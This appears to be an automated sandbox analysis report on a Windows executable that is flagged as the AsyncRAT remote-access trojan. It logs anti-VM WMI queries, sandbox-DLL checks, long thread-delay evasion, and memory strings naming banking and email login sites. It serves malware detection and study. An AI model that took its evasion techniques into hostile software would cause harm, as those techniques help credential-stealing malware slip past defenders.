Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: JGvCEaqruI.exe PID: 6336, type: MEMORYSTR

Yara detected AsyncRAT

Source: Yara match	File source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: JGvCEaqruI.exe PID: 6336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: JGvCEaqruI.exe PID: 7268, type: MEMORYSTR

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\user\Desktop\JGvCEaqruI.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: JGvCEaqruI.exe, 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Memory allocated: 1920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Memory allocated: 34E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Memory allocated: 3320000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Memory allocated: 8FE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Memory allocated: 9FE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Memory allocated: A1D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Memory allocated: B1D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Memory allocated: 17F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Memory allocated: 3130000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Memory allocated: 5130000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 599270	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 599140	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 598884	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 598281	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 598077	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 597964	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 597859	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 597749	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 597640	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 597531	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 597419	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 597312	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 597093	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 596874	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 596765	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 596656	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 596547	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 596422	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 596312	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 596203	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 596093	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 595984	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 595874	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 595765	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 595583	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 595439	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 595274	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 594924	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 594679	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 594435	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 594328	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 594218	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 594108	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 593999	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 593890	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 593780	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 593671	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 593562	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 593453	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 593341	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 593234	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 593124	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 593015	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 592906	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 592796	Jump to behavior

Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Window / User API: threadDelayed 2804			Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Window / User API: threadDelayed 7020			Jump to behavior

Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 5520	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -31359464925306218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -599422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -599270s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -599140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -598884s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -598281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -598077s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -597964s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -597859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -597749s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -597640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -597531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -597419s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -597312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -597203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -597093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -596984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -596874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -596765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -596656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -596547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -596422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -596312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -596203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -596093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -595984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -595874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -595765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -595583s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -595439s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -595274s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -594924s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -594679s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -594562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -594435s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -594328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -594218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -594108s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -593999s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -593890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -593780s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -593671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -593562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -593453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -593341s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -593234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -593124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -593015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -592906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe TID: 7960	Thread sleep time: -592796s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\JGvCEaqruI.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem

Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor

Source: C:\Users\user\Desktop\JGvCEaqruI.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 599270	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 599140	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 598884	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 598281	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 598077	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 597964	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 597859	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 597749	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 597640	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 597531	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 597419	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 597312	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 597093	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 596874	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 596765	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 596656	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 596547	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 596422	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 596312	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 596203	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 596093	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 595984	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 595874	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 595765	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 595583	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 595439	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 595274	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 594924	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 594679	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 594435	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 594328	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 594218	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 594108	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 593999	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 593890	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 593780	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 593671	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 593562	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 593453	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 593341	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 593234	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 593124	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 593015	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 592906	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Thread delayed: delay time: 592796	Jump to behavior

Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: JGvCEaqruI.exe, 00000008.00000002.3752328436.0000000005770000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDri(
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: JGvCEaqruI.exe, 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmware
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: tmp3AA4.tmp.dat.8.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
